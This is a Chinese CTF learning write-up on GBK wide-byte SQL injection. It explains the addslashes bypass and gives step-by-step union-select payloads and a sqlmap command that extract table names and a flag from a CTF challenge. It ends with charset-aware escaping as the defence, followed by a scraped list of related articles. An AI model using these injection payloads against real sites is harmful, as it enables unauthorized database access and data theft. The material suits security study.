0x01 前言

准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点。

在计算机中,字符的表示与存储都离不开编码。例如ASCII,utf-8,gbk2312等。通常字符的表示都只需1字节。但也有如gbk2312这种需要2字节来表示的编码格式,这种我们称之为宽字节。

所谓宽字节注入,可能存在于以gbk编码存储数据的sql数据库中。在实际站点中已经比较少见(常见于学校远古破站),而且修复方案很简单。在CTF中属于入门的sql注入题目。

0x02 宽字节注入原理分析

0x01 认识addslashes

在基于php对sql注入的防御里,总会提到这个函数。

addslashes ( string $str ) : string

在php官方文档中,对该函数的说明如下:

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线()与 NUL(NULL 字符)。

举例:

$str = "Is your name O'reilly?";

// 输出: Is your name O\'reilly?

echo addslashes($str);

?>

对于最简单的字符型数字型注入,经改函数转义的sql语句确实会“卡死“单引号。(构造攻击的sql语句不会执行)

但对于该函数的绕过,其实并不困难,无非两点:

1.在前面再加一个(或单数个),变成( '),可以导致被转义,从而让‘逃出限制。

2.把弄没。**

在下面的例子中你可以体会到,若是该数据库采用了宽字节的编码,这个函数就变成了纸老虎。

0x02 宽字节注入原理

宽字节注入利用了mysql一个特性,即当mysql在使用GBK编码的时候,会认为两个字符是一个汉字。(前一个ASCII码要大于128,才到汉字的范围)

先了解一下这些字符的url编码:

当输入单引号,经addslashes转义后,对应的url编码是:

‘ --> \' --> %5C%27

当在前面引入一个ASCII大于128的字符(比如%df),url编码变为:

%df --> %df \ ' --> (%df%5C)%27

若使用gbk编码的话,%df%5C会被当作一个汉字处理,从而使%27(单引号)逃出生天,成功绕过

我们用url编码来研究一下:

当使用gbk编码,可以看到一个汉字占了2个字节。

来对\'编码一下:

现在在前面加上%df,可以看到%df%5C被当成了汉字,单引号成功逃脱:

0x03 宽字节注入利用释例

这里以南邮ctf(CG CTF)一道Web题:SQL-GBK为例。

输入id=1',可以看到’被变成了\',是addslashes函数转义的结果。

用上文讲到的方法,构造id=1%df',id=1%aa',成功报错

首先构造order by语句尝试获得列数,注意最后要用闭合(注释掉后面的语句,不让其影响构造语句执行)

常见的闭合手段有:井号,--+等。

这里用井号,用%23来表示,否则可能解析不了

?id=1%aa' order by 2 %23

3已经报错了,可以知道列数(字段数)为2.

?id=999%aa' union select 1,2 %23

知道了回显的位置是2.

下一步,把2改成database(),成功获取库名:sae-chinalover

?id=999%aa' union select 1,database() %23

继续跟进,查表名。(不放链接了,不太清楚可以百度下mysql自身的系统库结构与读取信息的函数):

注意:因为单引号会被转义,所以直接令table_schema=库名是行不通的。

?id=999%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sae-chinalover' %23

可以把库名代替为database()。成功获取表名。

?id=999%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() %23

下一步爆字段,把四个表的字段依次爆一遍,在ctf4中发现有flag字段:

?id=999%aa' union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x63746634 %23

查询一下,成功获取flag。

顺便一题,这道题目也可以用sqlmap直接跑。把你构造的宽字符绕过语句扔上去就行了。以爆库名为例:

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%aa%27" --current-db

0x04 宽字节注入的防御

对于宽字节注入,有一种最好的修补就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义

mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集。不会出现把%aa%5c拼接为一个宽字节的问题。

所以用mysql_set_charset对当前字符集进行指定,然后转义即可。

ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入相关推荐

  1. SQL注入——布尔盲注,时间盲注,宽字节注入

    布尔盲注 1.布尔盲注利用前提 页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入 缺点:速度太慢,消耗大量时间 布尔盲注思维导图: 布尔盲注常用语句: su ...

  2. DVWA——改GBK尝试宽字节注入(brute教程)

    DVWA教程--爆破brute force 1.low等级 ps:加入echo $query 方便测试 输入admin/admin,查看$query结果 SELECT * FROM `users` W ...

  3. 【sqli-labs】 对于less34 less36的宽字节注入的一点深入

    1.AddSlashes() 首先来观察一下是如何通过构造吃掉转义字符的 先将less 34的网页编码换成gbk 加上一些输出 echo "Before addslashes(): &quo ...

  4. CTF从入门到提升之宽字节注入

    CTF入门到放弃 为什么说是从入门到放弃呢?(开个玩笑)如果说大家对CTF有了解的话,其实应该知道CTF是一个什么类型的比赛,这个比赛涉及的范围和影响有多大.如果说你真的想打好比赛,那也是真的非常不容 ...

  5. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  6. sql注入_1-8_宽字节注入

    文章目录 一.sql_宽字节注入概念 二.sql_宽字节注入源码分析 三.sql_宽字节注入演示 四.sql_宽字节注入总结 一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点 ...

  7. mysql sql宽字节注入_sql注入之宽字节注入

    宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码 不过既然是sql注入的一部分,也搭建环境  做做实验 实验环境: wamp集成包 实 ...

  8. sql注入--宽字节注入

    sql注入–宽字节注入 靶场:sqli-labs-master 下载链接:靶场下载链接 第32关 php源码 <?php //including the Mysql connect parame ...

  9. SQL注入教程——(四)宽字节注入

    前言 在mysql中,用于转义(即在字符串中的符号前加上"\")的函数有addslashes,mysql_real_escape_string,mysql_escape_strin ...

最新文章

  1. Singleton Pattern(单例模式)
  2. java 写jsp_Java开发之JSP指令
  3. linux网络编程系列-select和epoll的区别
  4. 为什么建议学生积极参与开源项目?
  5. leetcote34. 在排序数组中查找元素的第一个和最后一个位置
  6. Python操作文件,报FileNotFoundError: [Error 2] No such file or directory错误
  7. Linux打印介绍【转贴】
  8. 理解 Android 的 ONE_SHOT_MAKEFILE
  9. TCP文件上传Java_Java 理解TCP通信案例:文件上传案例
  10. Nginx+php+fastcgi的原理与关系
  11. 4gl 上传文件_速看!关于浙江移动微法院新版图文上传和签名的使用说明
  12. paip.分布式应用系统java c#.net php的建设方案
  13. VS+QT多语言实现(中文乱码问题、tr()包含不生成问题)
  14. 各种工业以太网技术浅析
  15. java获取法定节假日
  16. java视频文件格式转换,视频文件格式转换器-视频文件格式转换器 2018 官方版
  17. Codevs 3322 时空跳跃者的困境(组合数 二项式定理)
  18. nltk安装出错,nltk_data语料库下载
  19. Tslib移植与分析
  20. NYOJ - [第八届河南省程序设计大赛]Distribution(水题)

热门文章

  1. Response request
  2. C++学习笔记04-字符变量
  3. python自动化爬取网易云歌词并制作词云图
  4. 我是如何利用自媒体赚钱的?
  5. 从个人绩效和组织绩效提高企业绩效
  6. histeq从用法到原理——Matlab直方图均衡化函数
  7. Ubuntu修改文件夹及其中所有文件的所属主和所属组
  8. Nimbus线上AMA内容记录-第二期
  9. 智能转型邂逅“中国品牌日” 长虹唱响科技时尚主旋律
  10. 我可是一个有图的留言板咳咳√